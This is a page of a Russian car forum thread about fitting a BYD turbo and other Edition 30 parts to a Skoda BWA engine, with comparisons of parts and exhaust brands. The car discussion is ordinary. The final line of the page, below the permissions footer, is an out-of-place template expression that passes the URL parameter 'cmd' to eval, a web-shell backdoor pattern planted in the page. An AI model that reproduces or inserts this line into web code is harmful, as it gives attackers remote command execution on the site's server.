+ Ответить в теме
Страница 2 из 6 ПерваяПервая 1 2 3 4 ... ПоследняяПоследняя
Показано с 11 по 20 из 53

Тема: Помогите с установкой турбины от BYD на BWA


  1. #11
    Цитата Сообщение от VVZ Посмотреть сообщение
    Может просто продать авто и купив шестой ГТИ чипануть его? Или сразу ауди с3 взять?
    Мне просто Шкода нравится ;) да и совсем не бюджетно это :)
    Последний раз редактировалось hovik; 08.06.2009 в 19:56.

  2. #12
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от hovik Посмотреть сообщение
    82,5- что это за размер такой??? Как я могу понять 82.5 это стоковый, но можно поставить поршни 83 и 83,5. Что это даст?

    как что ?.............. точишь блок и получаешь больше чем 2 литра........... но нах на новой машине то ?
    песок сыпется....не останавливайтесь на достигнутом !

  3. #13
    Цитата Сообщение от BON Посмотреть сообщение
    как что ?.............. точишь блок и получаешь больше чем 2 литра........... но нах на новой машине то ?
    Согласен, точить однозначно не надо.

  4. #14
    Полазив в ЕТКЕ несколько дней сравнивая моторы BWJ (Cupra), BYD (Edition 30) и BWA выяснил что там не толко турбины разные))))
    1. Шатуны у E30 стоят другие, скорее всего усиленные. У них болты крепления крышки другие, по больше.
    2. Поршни другие.
    3. Валы так же разные.
    4. Форсунки другие.
    Ну и многое другое)))
    Удивило то, что, КУЛЕР и ТОПЛИВНЫЙ НАСОС (ТНВД) одинаковые! Я честно говоря думал что у E30 будет по больше и мощнее.
    Думаю что можно заменить поршни и шатуны на более усиленные от Wossner.
    С мотором все более или менее ясно, осталось решить вопрос с выпуском...
    Помогите пожалуйста с выбором... Есть вариант от компании EuroSport, может кто себе ставил такой?
    Код:
    http://www.eurosportacc.com/eurosport_performance_exhaust_audivw_mk5_volkswagen.htm
    По деньгам выходит не дорого...

  5. #15
    Цитата Сообщение от hovik Посмотреть сообщение
    Полазив в ЕТКЕ несколько дней сравнивая моторы BWJ (Cupra), BYD (Edition 30) и BWA выяснил что там не толко турбины разные))))
    1. Шатуны у E30 стоят другие, скорее всего усиленные. У них болты крепления крышки другие, по больше.
    2. Поршни другие.
    3. Валы так же разные.
    4. Форсунки другие.
    Ну и многое другое)))
    Удивило то, что, КУЛЕР и ТОПЛИВНЫЙ НАСОС (ТНВД) одинаковые! Я честно говоря думал что у E30 будет по больше и мощнее.
    Думаю что можно заменить поршни и шатуны на более усиленные от Wossner.
    С мотором все более или менее ясно, осталось решить вопрос с выпуском...
    Помогите пожалуйста с выбором... Есть вариант от компании EuroSport, может кто себе ставил такой?
    Код:
    http://www.eurosportacc.com/eurosport_performance_exhaust_audivw_mk5_volkswagen.htm
    По деньгам выходит не дорого...


    если ты собираешься пол мотора BWA сменить, то вопрос о недорогом выпуске кажется несколько странным...:stop:

    А хорошие - Milltek, APR и другие, очень за качество хвалят Milltek в Америке...

  6. #16
    Спасибо.
    Скорее всего поменяю только турбину, топливный насос, форсунки, выпуск, еще может быть кулер...
    Последний раз редактировалось hovik; 17.06.2009 в 15:14.

  7. #17
    GTI-Racing valoff 053 is on a distinguished road Аватар для valoff 053
    Регистрация
    31.12.2008
    Откуда
    Нижний Новгород
    Машина
    гольф 4 гти и Умка
    Сообщений
    556
    Цитата Сообщение от hovik Посмотреть сообщение
    Спасибо.
    Скорее всего поменяю только турбину, топливный насос, форсунки, выпуск, еще может быть кулер...
    скока шас лошадей и какова сумма вливаний...кароче сколька стоит лошадиная сила при этих переделках???:woodpecker:

  8. #18
    В данный момент у меня около 245 сил. Чип стоит БСР.
    Про цены пока не могу сказать, так как сам пока точных цен не знаю. Если интересно как узнаю, отпишусь.

  9. #19
    GTI-Racing Pashka is on a distinguished road Аватар для Pashka
    Регистрация
    27.02.2008
    Откуда
    Киев
    Машина
    Seat Leon FR 2.0 TFSI
    Сообщений
    391
    Почему не рассматриваешь гаррет 28?
    Сколько планируешь снять л.с.

  10. #20
    Цитата Сообщение от hovik Посмотреть сообщение
    Спасибо.
    Скорее всего поменяю только турбину, топливный насос, форсунки, выпуск, еще может быть кулер...

    сли поставишь выпуск, тебе надо будет и прошивку менять...но при турбе выпуск надо.. да и впуск и интеркулером тоже

+ Ответить в теме
Страница 2 из 6 ПерваяПервая 1 2 3 4 ... ПоследняяПоследняя

Похожие темы

  1. Ответов: 7
    Последнее сообщение: 02.07.2024, 16:05
  2. Помогите в вопросе замены турбины и чипа на бору
    от SergeySS в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 39
    Последнее сообщение: 02.10.2023, 00:38
  3. Помогите найти приблуду, которая позволяет сделать вывод давления турбины на mfa
    от 666stan666 в разделе Стайлинг: кузов, салон, свет и прочее
    Ответов: 3
    Последнее сообщение: 13.12.2014, 18:30
  4. турбины на VAG
    от макс 902 в разделе Покупка и продажа запчастей
    Ответов: 29
    Последнее сообщение: 29.10.2013, 00:24
  5. Кто-нить Сталкивался С Установкой Рсмки?
    от veteromska в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 0
    Последнее сообщение: 09.03.2009, 13:21

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}